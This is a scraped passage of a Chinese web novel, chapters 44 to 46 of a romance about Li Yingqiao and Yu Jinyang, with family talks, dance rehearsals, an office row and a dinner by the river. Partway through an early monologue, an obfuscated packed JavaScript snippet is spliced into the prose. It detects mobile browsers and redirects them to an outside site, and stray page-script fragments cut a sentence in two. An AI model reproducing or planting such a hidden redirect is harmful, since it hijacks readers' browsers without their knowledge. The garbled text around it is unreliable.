在车上摸我的时候想过我们只是朋友吗?还是你其实身边有很多这样的异性朋友。但他看着对面泰然自若的态度,他就说不出口了,保不齐换回来一句让他更怄得肝疼的,只能凉飕飕地瞥她。 李映桥却始终都迎着他的目光,冷的热的照单全收,坦诚地说,“我让你误解了是吗?那我可以说得再直白一点,希望你听了不会生气。我确实没想过要和你谈那种被双方家长祝福的恋爱,但是我不介意水到渠成地和你睡一觉,这样够直白了没?” 他几乎是惊诧地掀起眼皮看她,都不用想,这人是铁生气,板上钉钉地生着气,气得比刚才的炭火还嗤嗤作响,俞津杨几乎冷笑出声,“李映桥,你不用讲这种话气我。” 李映桥却笑了:“你看,我就说嘛,我说实话你肯定会生气。” 俞津杨彻底被气笑了,连呼吸都重了几分,胸腔微微起伏着,目光如果似剑的话,他俩现在就是两柄寒气森森的剑光压制着彼此,但她招招攻击他下三路,他是待不下去了,于是也一口气把话讲完。 “这么一想,我这个人确实不怎么样,我承认,我总想着凡事能两全,最好能把忠孝仁义礼智六个字全占了,这点我认。但我从来没想过,‘李映桥这个人变数很大,从我的世界消失也好’这种混账话。” “李映桥,在你面前,我永远都觉得自己不够好,永远都觉得我矮你一截。你说我克制冷静,你自己不是吗?你除了行动上大胆之外,你桥女士人格精神独立得都快可以自己单开去流浪地球了。你精神上失控过吗?沦陷过吗?没有吧,咱俩半斤八两。” “我也从来没指望你能从神坛上走下来。我除了有这么一个爹之外,从小到大,我没你聪明 ,你随便学学就能从垫底中学考上潭中,我不努力成绩就下滑,大学的时候,没了你们和我一起学,我差点连出国交换的名额都拿不到,而你妈说你轻轻松松全额奖学金,从大二开始就没再跟她要过生活费。” “你多有经商头脑啊,你要是我爸的女儿,说不定家里也不会出这么多事。所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826800|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以你看,我总想着让自己更好一点,再好一点。我总想打有准备的仗,但每次我准备好了,他又出事了,家里这几年风风雨雨,永远都没有我准备好的时候。” “后来大二那年,我陪我爸去五台山上香,又碰到当初给我改名字的师傅,我爸让他给我算算,我有没有出国的命,你知道做生意的人就迷信这个,大师说我有,但出国会晚婚。 “我爸一锤定音,也不管晚不晚婚的一定要先把我送出国,他甚至答应我,如果我出完国回来,还想去北京找你,他不会再说什么,可是那时他是两只脚站在地上跟我说的。这大概就是全部了,我没克制到那份上。” 李映桥中途没有打断他,只静静听他说完,重逢以来,两人都没有跟彼此正儿八经地说过这么多话,这块地就是他俩从理发店相遇以来两人都在小心翼翼避开的雷区,因为一旦把话说尽,就是现在这个模样。 倒也不是决裂,他说完,见她愣愣地盯着他,心又软了,本来都打算说完就拍桌子蹬着腿走人的,见她这幅表情,又坐回去了。然而发现彼此目光等着目光,嘴角就忍不住上扬了。 他俩高三也这样,尤其是吵架的时候,在气头上的时候还能剑拔弩张地绷住,一旦卸劲安静下来,目光再碰上,那俩就憋不住笑了。 当然,有人还是不服气的。 “笑什么笑啊,你给我憋住了。” “刚还让我别憋住啊,一次性都说完,我现在没什么想说的,就是想笑,我发现咱俩都特傻,俞津杨,真的,那都什么跟什么啊,什么叫我的人格精神独立得都可以单开去流浪地球了啊。”李映桥说着,把最后他留的那串鱿鱼串给吃了。 “那我的。”他还板着脸,用指节敲敲桌板,但也是纯找事。 “我都吃了,吐给你?” “别恶心,朋友你干这么冒昧的事?” 李映桥仰头哈哈大笑,“说实话,俞津杨,你比小时候有意思多了。”笑完,又正色地看着他,探究他的脸色,补了句:“没生气吧?” 俞津杨没多讲,结完账沿着江岸一路流光溢彩但没他脸色精彩的霓虹往停车场走时,伸手去拉副驾的车门对她讲说:“懂你意思了,但不行,你想都别想。咱俩以后只能是我开车,你只能上后座的朋友关系。” 李映桥看他条件反射地拽副驾门笑说:“今天最后一次是吧?” 他头也不回,自顾自坐进去,冷声说:“喝酒了啊,叫代驾。你自己上后座去。” 李映桥:“说定了哦,俞津杨。” 他降下副驾的车窗,瞥她一眼:“反悔是小狗。” 李映桥站在车门外微微一眯眼,于是恶从胆边生——猝不及防地弯腰捧住他的脸,在他唇上“啵”地亲了个巨响,反正以后都这样了,睡不到也吃不到。她破罐破摔了,不等他回过神,人已经“噔噔噔”跑走了,甚至风驰电掣在路边拦了一辆刚好又疾驰而过的出租车,钻进去之前回头冲他笑,得逞的笑容再次从她脸上荡开,“喵,拜!” 45.第四十四章(二更合一) “啪!” 李映桥甩手就毫不犹豫地把车门关上,却见一截鹅黄色裙摆卡在绿色的出租车门缝里,像只被夹住翅膀的蝴蝶,动弹不得。 下一秒,门又打开,被惹恼的蝴蝶面无表情把裙摆往里一拽,“唰”地抽了回去,又毫不犹豫地“砰”一声关上车门。 俞津杨人靠在副驾座上,后视镜里他的表情从怔忡错愕片刻后,看她上车那一系列的操作,又忍不住愕然笑出声。 直到载着她的出租车消失在后视镜里,他才有些心不在焉地掰过车内的后视镜检查自己的脸,只见一抹肉桂色的红在他唇角晕开,像是书法大师的朱砂走了笔,歪歪斜斜地洇在他唇峰上;也好像一只蝴蝶扑簌簌飞过晾衣杆时,翅膀上抖落下来的鳞粉留在书生的蓝布衫上。 蝴蝶来去自如,书生却束手无策。 *** 晚上,唐湘旅游回来有些天,用景区买的小鸭给甜筒的母女情续完费,才轻手轻脚地带上门从房间出来。 正瞧见儿子衣服也没换陷在沙发里盯着瓶红酒发呆,她过去挨着坐下:“怎么了,有心事?最近忙着哄你老爸和甜筒,倒是有点忽略你了。我这次回来看你状态好像不太对,来吧,跟老妈说说,怎么个事。” 其实他回国后,母子俩有过很多这样促膝长谈的夜晚,大多是唐湘说着,俞津杨听着。自从俞人杰出事以来,唐湘的压力与日俱增——老公的身心问题,公司的一堆账务问题,核心员工的异动,还有一个每天能问八百个为什么的好奇宝宝要带。 俞人杰虽然表面上装得大大咧咧,老子啥大风大浪没见过啊,到了夜里也还是要靠安眠药入睡。 唐湘担心他安眠药吃多了损伤脏器的健康,就给他换成褪黑素,到后来褪黑素产生了耐药性,又只能找回医生开安眠药。 “你爸爸,也就是嘴上讲讲。他那天开着轮椅下楼,小区里就一只小野猫冲他抻了抻爪子,他回来一晚上睡不着,说现在连一只猫都看不起他,小区里散步的那么多人,偏偏冲他抻爪子。” 有些话说多了,唐湘自己也不信。一个人最好的风水其实也就二十来年。要么东风压倒西风,要么西风压倒东风。 俞人杰最显赫的岁月已经过去,他们家如今的日子倒像是一场庙会散场后,留着满地的狼藉等着他们打扫,散落一地的瓜子壳里,或许还混着一张被人踩了无数脚的“囍”字。 俞人杰后来也和唐湘深夜促膝过一次。如今回想起来,他觉得其实蛮对不起儿子的,家里吹东风的时候,阿杨在上学,根本用不了家里几个钱,学校穿校服咱也就没给他买太贵的衣服裤子。 “那天我翻他衣柜来着,衣服少得连我年轻时候十分之一的衣柜都占不满,我自己倒是换了好几辆车,他那时候跟着梁梅那群人除了学习还是学习,一有点压岁钱也是想着给太奶奶换点什么高科技设备,给猫猫狗狗买点粮食什么的,还要让我买什么柯南全套,他除了跳舞好像真没什么烧钱的爱好。” “等他出国到了最需要用钱的时候,咱连生活费都给不出去,自己还差点进去,我想想有时候觉得真荒唐,是我铁了心要送他出国,结果还要他在外面半工半读。现在他要创业,我也不可能像从前那样一掷千金支持他。唯一有点钱的时候,也给甜筒买乐园了。你说津杨心里难道不会比较吗?” 唐湘说如果他会比较,他就不会回来了,还能帮你任劳任怨地带甜筒?而且,他高中毕业你就在上海给了他一套房子,你在中国的父亲排行榜里也能挤进前百分之二十了,如果当初没阻止儿子去北京找桥桥,你还能再挤掉百分之十。 俞人杰当时闷闷地瞟她:“所以,你也怪我。” 从父子为了这件事对立以来,唐湘从没主动提过这件事,这是唯一一次。她理智上站老公,心里又向着儿子,她自己都觉得很难从这件事里完全公正客观地去看待桥桥,所以她说她不评价。 唯独那次春节他们结婚十四周年从海南度假回来,得知李映桥提前回了北京。俞津杨说想提前走,唐湘知道他改签去北京,那时的车票信息都在她手机上。本来想帮他瞒着,但俞人杰在这件事上尤其敏锐,立马就察觉了,果不其然劈头盖脸就是一顿输出。 还斩钉截铁放了一句让她都肝颤的狠话:“你要去找她,行,回来等着给我收尸吧。” 那时候李武声把他最后一间木玩工厂给举报了,正巧那阵丰潭政府下了批文,要建设文明县城,环保改革势在必行。俞人杰被迫关掉原工厂,托人又托到丰潭土皇帝李伯清那边,最后李伯清狠狠敲了他一大笔,才勉强给了他批文,让在工业园区重新建厂。 因为这,俞人杰被迫卖掉了他们市中心的房子,这些钱全数进了李伯清的口袋。至于李武声有没有分到,她和俞人杰心里都清楚得很,因为那之后,李姝莉就突然张罗起开刮痧馆,当然她相信姝莉不知道里头这些弯弯绕绕的腌臜事。 这些事他们都没和俞津杨讲过,那时候他还太小,理解不了生意人的门道和里头的憋屈。后来他长大了再讲也没意义,这些个陈年旧事,早就该压在酸菜坛子底下等着它自己烂掉,没必要再搬起石头砸自己的脚。 但唐湘那天晚上也是第一次对儿子表明自己的态度:“妈妈不干涉你的决定。但希望你能先处理好爸爸的情绪问题再去北京,至少不要让他那么激烈来对抗这件事。小时候我和你小姨也是水火不容的,但你姥姥和姥爷每次都先处理我,我一开始以为是偏心我。后来我才知道,是希望我先妥协。” “同样,在这个问题上,我希望你能站在桥桥的角度替她考虑一下,如果你没有解决好爸爸的问题,那么你等于要把这些矛盾转嫁给桥桥来面对,这对她更不公平,你想让爸爸妥协还是桥桥妥协?儿子,这事儿你做不到两全,总有一个人会觉得委屈。更何况,桥桥也不是个会委曲求全的人。” 是啊,李映桥如果知道他爸是这个态度,只会躲得更远,俞津杨对自己没有那么大的自信,当天晚上他取消了去北京的票。唐湘看着他放下手机,揉揉他的脑袋。 一如多年前的夜晚,唐湘这会儿也胡噜着他毛茸茸的后脑勺:“说说吧,你爸现在自顾不暇,甜筒也还连不上信号,这个家,现在就咱俩能相依为命。” 其实这半年都是儿子在安慰她,唐湘也感慨,小时候那个在火车上眼泪汪汪地说“妈妈,我会带着爸爸所有的钱来找你”的小孩,现在也长成了一棵能让她纳凉的参天大树。 俞津杨扯了扯嘴角,他把酒拎开,低声说:“没事儿,我就闲的。” “桥桥回来了?”唐湘看着那瓶红酒,还剩半瓶,是他俩高三喝的那瓶,她给拎过来,就赤晃晃地放在他面前,“就聊聊她呗,桥桥现在怎么样啊?是不是女大十八变了?” 俞津杨说:“嗯。变态了都。” 一个巴掌一个吻,当祖传秘方使了。 唐湘“啊”了声:“什么意思。” 俞津杨转头看她:“姝莉阿姨打咱爸巴掌的时候,还有别的动作吗?” 唐湘又“啊”了声,“那我哪知道,你爸没讲这么细啊。” 俞津杨又面无表情转回去,抱着胳膊:“那这都跟谁学的。” 唐湘豁然反应过来:“桥桥抽你了啊?” 俞津杨瞥她一眼:“妈,我怎么听着您还有点兴奋呢。” 唐湘立马柳眉倒竖,板着脸大声道:“不是,妈妈在强烈谴责她,怎么可以动手呢,你也别坐着了,啥也别说了,报警!打人是吧,来,阿杨,拿上你的户口本,妈带你上门要个说法去……” 俞津杨满脸幽怨地看着她:“……” 唐湘这才平和下来,笑着说:“甜筒给我说的。” “乱讲,她能知道什么。” “这问你自己啊,魂不守舍的,擦口红印那张纸扔哪了,想不起来了吧?在甜筒房间呢。” 靠,忘这茬了。俞津杨默默瞥她一眼,转而又叹了口气:“不是您想的那样,她跟我闹着玩的,刚还吵架来着。” “哦,吵着吵着还抽空亲了个嘴,你俩还真是一码归一码啊。” “……” 唐湘嘴角要翘不翘地憋在那,看他耳根子先红了,才破功笑出声:“我估计我都能猜到你俩能吵些什么。无非就是当年那些事你没办法全须全尾地告诉她,如果她知道你爸爸是这样的态度,还说过这种话,她绝对不敢招惹你,躲你躲得远远的。” 他无奈,冲她竖了竖大拇指:“您比我了解她,我刚差点被她气得说出来了都。她要知道爸说过那样的话,她估计会吓得连夜逃回北京。” 唐湘愣住:“不过这恰恰说明桥桥脑子聪明,这不就是你一直佩服她的地方吗?她肯定会说,什么嘛,俞津杨你这么多年都没找过我,现在又在跟我讲什么鬼东西啦。”唐湘夹着嗓子说。 “还得是您。”他笑出声,“不过,她不会那么撒娇——” 下一秒,他沉下脸,咳了声,模仿起刚才烧烤摊上李映桥的语气,“俞津杨,你这个人就是太冷静,你无非冷静下来想想,李映桥这个人变数太大,消失了也挺好。十八岁的事儿,我早就翻篇了,我们现在当朋友更合适。她是这样。” 说完他自己又乐了,乐得干脆把脑袋搁在沙发背上,望着天花板懒洋洋地说,“而且她一生气就叫我大名,生怕我听不出来似的,一直俞津杨俞津杨俞津杨,念经一样。” 唐湘也笑出声:“打从你俩小时候起,我就说过。桥桥就是这么可爱,不过她说的也没错,十八岁能懂什么,那时候我觉得你死皮赖脸要去北京找她的时候,我其实也跟你爸讲过,让你俩谈,就你俩那时候谁都不服谁的劲儿,谈着谈着早分手了。就比如,你在上海,她在北京,这俩异地的问题就够你俩喝一壶的。” 俞津杨深有同感:“哎,我也从小就说爸的脑子没您的好使。” 他悠悠又叹了声,转头看着唐湘,也坦然承认说:“不过我那时候确实没那么服她,还跟她打赌,看十年后我俩谁混得好,毕竟我起手牌比她好这么多。直到上了大学,见过越来越多的人,我才意识到,什么是‘浪子回头金不换’,我是说像李映桥这种幡然向学的‘浪子’。” 不是所有人想逆袭就逆袭的,大多数人是‘先帝创业未半而中道崩殂’。因为意志会被情感绑架,被目光扼杀,被痛苦磨灭,甚至被岁月腐蚀。 无论是他还是高典、郑妙嘉,这几年都有过这样的时刻。不然郑妙嘉不会说要放弃她从小就坚持的画画,高典也不会创业失败后回丰潭,他的执念就是衣锦还乡。 但人好像很奇怪,青衫越薄,不切实际的理想和念头就越多,等各式各样的“黄袍”加身之后,不需要多少磨难和痛苦,很多念头就已经不自觉堙灭。 现在他们已经没有年少时的忠肝赤胆。哪怕有幸存的肝胆,也都经过一系列世俗的包装小心翼翼地把它们封存起来,生怕被人嘲笑。而李映桥,是可以拎着一颗胆游街示众的天赋极选手,用目光扼杀那些嘲笑的人。 “但你们都很棒啊,你看看,我儿子都帅成这样了,而且现在你俩已经有成熟的价值观和感情观,天时地利人和了都,再谈上那可就难讲咯,”唐湘说,“所以我说你爸也是自找的。” “我以前有那么丑吗?” “比现在丑,要把妹妹叫起来给你撒泡尿照照吗?” 俞津杨撇开头,“……” 想了想,他又转回来,不甘地说:“我只是觉得大哥不说二哥吧,她又能多喜欢我呢,这几年我看她是一点没闲着,论冷静克制,她第一,我顶多第三。” “第二谁?” “维托·柯里昂,杀人前还在吃晚餐那个。” “别说胡话了,”唐湘困了,开始敷衍地摸摸他脑袋:“儿子,听妈的,你现在还没资格想这些,听桥桥的,从朋友做起吧,你爸那边不用担心,经历过那么一摊烂事,他现在可惜命了,吃药都定闹钟了,生怕药效续不上。” “……” “嘎嘎——” 唐湘有点后悔在景区弄只鸭回来,她终于起身:“那只鸭怎么还在叫啊,我去看看。” “……谁让您买活鸭。那老板够损的啊,鸭子不给一对吗?”他也起身。 唐湘骂他:“你现在看啥都是一对。 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他冷着脸偏了下头,不让她碰:“自己捡起来。” “哥哥,坏榜样。” “我把勺子吐地上了?” “你没保护寄几的嘴巴。” “……” 俞津杨默默站起来去换衣服,在衣柜扒拉半天也没找到一条能穿裤子,甜筒把他运动裤上的抽绳都别拉出来了,塞也塞不回去,松松垮垮地根本没法穿。他又翻箱倒柜找半天,终于翻出一件大学时穿的运动裤,小是小了点,但好歹也能穿,于是才给罪魁祸首回了条信息。 321:「所以,咱俩以后是连微信都不能联系的朋友关系吗?」 纯情屎壳郎蹦恰恰:「当然可以,竭诚为您服务。」 321:「AI吗你,呼叫李映桥呼叫李映桥。」 纯情屎壳郎蹦恰恰不耐烦了:「俞津杨,你有完没完。」 他才笑了声。 321:「好,错了,我刚扒完舞,让潘晓亮安排吧。」 女团舞就这么被提上日程。但猿人团队里没几个人会跳舞的,钟肃和他一起都在芝加哥地下街舞团打过工,虽然没有十几年的舞蹈功底,但他至少懂节拍。 高典和潘晓亮就比较困难,俩钢筋板。潘晓亮不懂节拍,但他至少不乱发挥,俞津杨教他自认还算耐心,一边示范动作一边给他讲解:“左脚往前点,不要直接踩下去……前四拍是空拍,这个wave的弧度可以小一点,慢慢从底下顶上来。” 但高典不光不懂节拍,他会顶胯,很可怕。 “不顶胯!”俞津杨就差拿个大喇叭在高典耳边喊。 这几天,钟肃算是知道什么叫眼前一亮又一黑的,俞津杨刚给他们演示完,钟肃拍了好多视频,发在猿人群里。他跳舞动作幅度其实不大,全身肌肉调动自然流畅,完全任他唯用,跳舞其实也有点调兵遣将的意思。他每个动作都有股行云流水的松弛感,钟肃是见过他跳Breaking的地板动作,知道他核心多强,能在芝加哥地下舞团被富婆看上的,确实不容小觑。 结果一转头,潘晓亮对着镜子,一顿不顾他人死活的猫爪式洗脸后,忽而踮起脚尖,“噔噔噔”一连串要死要活的小碎步,紧跟着一个旱地拔葱式的原地蹦跶起跳,两只脚翘得像只变异屎壳郎,然后整个人像一只触电的蛆一般开始wave起来,最后“啪”定格在他俩面前,一个最标准却令人难以消化的wink。 很好,又不用吃晚饭了。 不是,真有人愿意看这个吗? 钟肃也不免担忧起自己跳起来在其他人眼里也就是潘晓亮这样,夸归夸,他也是从小被人众星捧月长大的,当猿人大家一起出丑没事,但这种给人当背景板的事儿,他发自内心不愿干,于是他找了个理由,第一个提出退团。 这种情绪微妙,俞津杨心里多少也能察觉,但李映桥找他问起的时候,俞津杨自然也讲不出个所以然来,这种微妙的情绪本身就不适合放在台面上讲。 讲了是他的问题,不讲就是钟肃自己的课题,在芝加哥求学的时候,他和钟肃之间不是没有过比这更微妙的时候。李映桥见问不出首尾,怕耽误视频发布,只好紧急从其他部门抓了个壮丁过来填补空位。 几天紧锣密鼓的训练下来,哪怕俞津杨教得再耐心,那位壮丁也撂挑子。这接二连三人罢工,李映桥就不得不怀疑起他的能力问题了。刚给他发完微信—— 喵你是不是太久没上班,在我们牛马的雷区上蹦迪了。 但很快她就知道这次也不是俞津杨的问题。这位壮丁和钟肃不同的是,钟肃毕竟是俞津杨的朋友,有了情绪,他选择自己修行,绝不会把这矛头对准他的哥们。 但这位壮丁不知道从哪儿吃的枪药,直接在景区办公室吃午餐的时候,给俞津杨造上黄谣了:“老子说了八百遍!不会跳就是不会跳啊!他非要加那么多WAVE干什么,显摆他腰软是不是?这么能扭,伺候富婆去啊,保准比在这混得多。” “运动裤穿成那样,在这勾引谁呢,真那么喜欢搞直播擦别去啊,别污染老子的工作环境!” “……” 两句话给所有人干沉默了,那会儿李映桥也不在,也就潘晓亮吴娟还有其他部门零零散散的几个人。俞津杨刚和高典从楼下买完奶茶回来,两人站门口进也不是,不进也不是。他自己倒没觉得有什么,只是觉得自己最近点背,也不知道得罪了哪路神仙,似乎哪哪都不太顺。 而且,这种话他在芝加哥都听麻木了,地下舞团里那些黑人老哥骂起人可比这脏十倍,“father”“mother”都是嵌在字眼里摘不出去的。 谁料,不等他俩反应,办公室里头一个穿着件碎花半袖衬衫的女孩儿站起来,迎头冲对面那壮丁把碗里的汤结结实实地全数朝他脸上泼了过去。 高典先是一声怪叫:“卧槽,娟妹这么猛!” 下一秒,回过味来,有些意味深长地瞥身旁的俞津杨一眼:“喵,娟妹…好像对你…” 46.第四十五章(二更合一) 所有人都震惊地看向吴娟。如果说他们那个草台班子的部门老大李映桥看着不太好糊弄的样子,吴娟就是另一个极端,很好说话的一块棉花糖。上次景区的回复意外走红事件,因为网友一句“小编估计早就想下手了”,她恼得想直接辞职,李映桥好劝歹劝才答应留下来。 壮丁也是个不省油的,这会儿被泼得浑身湿透,更是怒火中烧,他大吼:“吴娟你干什么!” 吴娟站在那,脸红一阵,白一阵后结结巴巴说:“……不,不好意思,这汤太烫了,我没端住……” “装什么啊,谁不知道你是故意的——” 话音未落,只听“哗啦”一声,又是一碗面汤兜头泼过去。 这次是潘晓亮,压根不给对面开口的机会,他直接一顿输出:“故意的怎么了?欺负我们部门没人?安安静静闭嘴吃饭不行吗?非要在这唧唧歪歪,真受不了。女团舞你爱跳不跳,不跳自己找李映桥说去,俞津杨教你跳舞就跟要教鱼学会骑自行车一样,这事儿多逆天你心里没点吊数?” 对面简直暴跳如雷,见他们这三瓜俩枣的人还拧成花生串般团结起来,轻蔑嗤了声:“潘晓亮,用你在这装逼。你那么喜欢跳女团舞,自己跳去,要不干脆改名叫潘晓莲算了,一点儿没男人样。” “潘晓莲怎么了,用你在这放五香麻辣螺旋屁!你妈没名字是吧?记住了,你老子以后就叫潘晓莲。” “你!” “你什么你,你爹生你的时候,是不是家里没痰盂,把你天灵盖拧开,净往你脑袋里面吐痰了?闭嘴吧你,一张嘴我都闻到你爹的老痰味了。” 潘晓亮骂人骂得血脉贲张,火力全开地扫射全场,俨然是兵来将挡水来土掩的架势,连冲出去要为他呐喊助威的高典也难以幸免,脑袋嗡嗡地也挨了他一记回马枪:“你也滚蛋,一群臭傻屌。” 高典愣了愣,理直气壮地一蹬脚说:“不要嘛,晓莲,我不是高典,我是高点点。” 除了那位壮丁被潘晓亮气得拍桌离席后,办公室其他人都猝不及防地笑了。 只有今天负责打扫的清洁工阿姨笑不出来,她不可思议地瞪着地上的汤汤水水,刚要扯开嗓子骂人,忽然瞧见有人从地上站起来,把椅子归位后和她讲说:“马上就好,您可以先打扫隔壁办公室。” 大姐看着这个斯文英俊的高个男人,一下熄了火,嗓子眼里宛如放了个哑炮。 潘晓亮和吴娟到了下午上班的点,甫一碰面闹钟声瞬间警铃大作,潘晓亮立马问吴娟:“办公室打扫了没?” 吴娟也蓦然想起来,机械地摇摇头,眼神却莫名惊恐,“完了。今天是不是……包租奶值勤啊?” 顾名思义,包租奶在小画城有小五套房子,都是当年的拆迁房。包租奶姓包,脾气确实不太好,但搞卫生她是认真的。谁犯到她跟前,她能立马不留情面地冲人办公室开炮,她是谁也不忌惮,李伯清站她面前,也不是没被她甩过拖把,但李伯清也无可奈何,人有个在省政府的儿子。 潘晓亮拔腿要冲去中午的办公室,却蓦然被高典拽住,还递了两杯咖啡过去:“有人收拾过了,他让我谢谢你俩。” 潘晓亮定下心来,也没接咖啡,而是看了眼一旁脸红红的吴娟说:“道谢不当面吗?太没诚意了吧。” 吴娟倒是一秒没犹豫地接过笑笑说:“其实真不用这么客气。” 高典说:“娟妹,你倒是犹豫一秒呢。” 吴娟更不好意思了,潘晓亮冷嗤一声,“他人呢?下午还练不练了?” 高典笑笑说:“晓莲,你急什么啊,这不是壮丁退团了,这空档得补上啊,喵去找他以前的朋友过来补个位。” “砰——”一声,羽毛球高高抛起,划出一道完美的弧线,掉落在场地另一边,俞津杨根据弧线高度预判落地,不紧不慢地往后退了几句,反手抽了一拍,单刀直入和对面的人温柔地开口:“怎么样,泰禾,帮个忙?” 对面跳起来又是一记重重地扣杀,扬拍指了指网对面的人:“俞津杨,你他爹的能不能认真打!这段时间叫你打球叫不出来,好不容易等你主动来找我,竟然是想拉我去搞什么女团舞,你有毛病啊。你有本事打服我再说——” 不等他话音落地,对面一记腾空暴扣,羽毛球带着久违的破风声应声率先落地了。 “……” 软得不吃,那只能来硬得了。 “可以了吗?”俞津杨淡声问。 孙泰禾至今还是接不住俞津杨的扣杀,作为一名专业的业余羽毛球爱好者,他觉得俞津杨太过分了,“偷袭是吧。” “你又不是没长眼睛,自己没反应过来怪我?”俞津杨隔着球网笑了声,眼风一扫,让他把球捡起来,“行吧,来。” 孙泰禾捞起球,警惕地扫他一眼:“我不打政治羽毛球啊。你上次陪几个领导打球的鸟样我还记得。水放的,星光塔都要被你淹了。” “废什么话,打不打。” 孙泰禾见他面色冷下来,才突然反应过来,俞津杨当时是为了在开庭前能拿到他爹的伤残证明。眼见那阵唐阿姨天天往医院残联两点一线跑,但不知道为什么一直缺东补西地告诉他们证明材料不够,他们当时几个兄弟都气得哭笑不得,四一哥都一目了然地躺在那,但是没有那个红章就是行不通。 孙泰禾把球发过去:“你们这案子是不是马上要开庭了,伤残鉴定结果还没下来吗?拖得越久是不是对你爸的伤残鉴定结果不利?” 俞津杨反手一击:“嗯。” 这事儿难讲,如果后期装上假肢,恢复不错的话,不说法院怎么判,连他们这些家属都会降低对结果的预期,因为最难熬的日子已经过去了。 “保不齐就是李伯清那边施压了。”孙泰禾高高举起拍子,一记重扣,喘着气说,“不然不可能一张伤残证明都下不来,这帮人是真贱啊。” 在这之前,俞津杨跑了很多趟,也没用,现在怎么催都没用,他这周末约了李连丰打球,打算从他嘴里再探探口风,如果李伯清能只手遮天到这个地步,他也只能另辟蹊径了。 *** 五点,正值下班高峰期,小画城也陆陆续续有车辆进出。中午还威武生风两位同志,这会儿就跟霜打的茄子似的蔫了,潘晓亮蹲在地上抽闷烟,一气儿骂完才想起来下个月的工资条还捏在壮丁哥的手里。 吴娟也默默往边上撤了一步说:“咱俩还是太冲动了,隔壁财务部的娜娜跟我说,壮丁哥已经告到副总那里去了,明天还不知道要怎么整我俩呢。早知道我当初就不听映桥姐的留下来了。” 潘晓亮“啧”了声,抽着烟说:“骗骗你自己得了,你为什么留下来你自己不知道吗?” 不等吴娟回话,高典从楼上噔噔噔几步跑下来,勾着潘晓亮的胳膊说:“走啊,喵搞定了,他说顺便请你俩吃个饭,赏个脸呗。” 潘晓亮没回答,嘲讽地看了眼吴娟。 吴娟说:“去哪儿吃啊。” 高典说:“江边有个排挡,你俩谁有车?” 潘晓亮晃了晃电瓶车钥匙,“只能坐一个,你俩谁坐。” 高典立马就反应过来:“那肯定我坐啊,你俩单独一辆车不合适吧。娟妹,你扫小黄车去吧。” *** 江风贴着江水悠悠送过来,孜然粒儿在红彤彤的炭火中,“噼啪”炸开,逐渐爆出油香。沿岸的灯火次第亮起,一簇簇的霓虹像被揉碎的光,落在江面上,衬得这平静无澜的江水也活泛起来,粼粼漾漾地荡着岸上死气沉沉的人面。 “你俩战况如何?”高典一坐下就迫不及待地问。 孙泰禾招手要了一打啤酒,气不打一处来:“他不讲武德,剃我光头,所以我要好好宰他一顿,你们别客气,随便点啊。”说完,瞧了眼两人后面的吴娟,张嘴就是一句油腔滑调地:“你们景区的工作人员怎么一个个长得都跟仙女似的,前两天还球馆碰见妙嘉了,她现在也好漂亮。” 孙泰禾是俞津杨高中一次联校的文艺汇演上认识,他俩后来加入一个舞团,也知道俞津杨这几个发小关系不错,高典和他来往比较多,另外俩女生几乎很少打照面。 论颜值孙泰禾能和钟肃争个高下,钟肃气质和俞津杨比较像,都属于冷峻帅哥那挂。但孙泰禾是痞帅那挂的,蛊惑起人来也是一套套的,但真让他上他又说你想得美,也难怪这俩母单能玩到一块去。 至于高典,于他来说,颜值已经不重要了,脑子已经扣大分了。 于是吴娟红着脸坐下,潘晓亮则黑着脸坐下,问俞津杨:“你这朋友正经人吗?” 俞津杨看他一眼,继续低头扫点单的二维码说:“不太熟,我球馆捡的。” 孙泰禾斜他一眼,起身说:“那我走?” 俞津杨笑着给他拽回来,把手机丢给他,“点菜吧你,不宰我一顿走,能消你今天的心头之恨吗?” 孙泰禾:“这还差不多。” 他哐哐点了近五百的串儿,高典跟着也不甘示弱地唰唰点了近五百的串儿,还不忘谑孙泰禾一句:“孙泰禾,你要点脸吧。兔子还不吃窝边草呢,你他爹的净可着喵身边的这些啃。” 孙泰禾说:“胡说八道。我什么时候霍霍过俞津杨身边的。” 高典还真想不起来,孙泰禾每次都半心半意地撩两句,根本没下文。老板火速把烤串端上来,高典美滋滋地撸着串儿才突然想起来:“桥呢?今天好像一天都没在景区见到她。你没叫她吗?” 俞津杨靠在烧烤摊的塑料椅上,不知道过于放松还是什么,椅背被他压得嘎吱嘎吱作响,拿起面前半听啤酒喝了口,今天没开车,他打算走回去,慢慢在嘴里转了圈:“我没叫她。” 高典咬着串的手就停下来了,嘴角还沾着红艳艳的辣椒面,有些咋舌道:“啊?你怎么敢不叫她。” 提到这名字,孙泰禾倒是想起一事儿来。其实当年中考的时候,他就靠在门口的墙根下和几个狐朋狗友学吞云吐雾,那会儿买不起什么好烟,抽得还是大前门,劣质的烟草味呛得他直咳嗽,也就是在那个瞬间,他和哥几个忽然听见有三个傻子猝不及防地在三中的校门口一唱一和地嚎起来—— “刘禹锡!字梦得!” “斯是陋室,惟吾德馨!” “折戟沉沙铁未销,自将磨洗认前朝!” “李映桥!潭中见!” “潭中见!” 孙泰禾记得太清楚了,当时给他的冲击真不小,原本就被大前门呛得浑身难受的他,差点连肺都咳出来,他意犹未尽表情晦涩地说:“我当时就想,这辈子一定不能读太多书!” 高典听得一愣楞,他是全然蒙在鼓里,后来也没人和他复盘过,串都啃不下去,满眼震惊:“不是,喵你们三个当时这么中二呢?靠啊,这么多年,你们愣是一点儿都没告诉我。” 孙泰禾说:“他当时是不是被人揍过,脸肿得像个猪头,后来我俩在联校汇演上一起跳舞的时候,我都没认出他来,这小子原来这么帅呢。” 这事儿高典就很有发言权了,他哼唧一声喝了口啤酒润润嗓子说:“这你就不知道了吧!我来说!中考前几天他被人绑架了,失踪好几天,我们当时几个都不知道,还是最后中考前一天晚上,桥桥根据他发的短信推断出来,然后让老师打电话确认,妈呀还真是被人绑架了,然后我们桥桥通过破解一串数字密码把他给救出来的。简直跟拍电影一样,非常刺激。” 潘晓亮听得是直瞪眼,他忽然把酒瓶子一扔说:“你等会儿,我有个问题。” 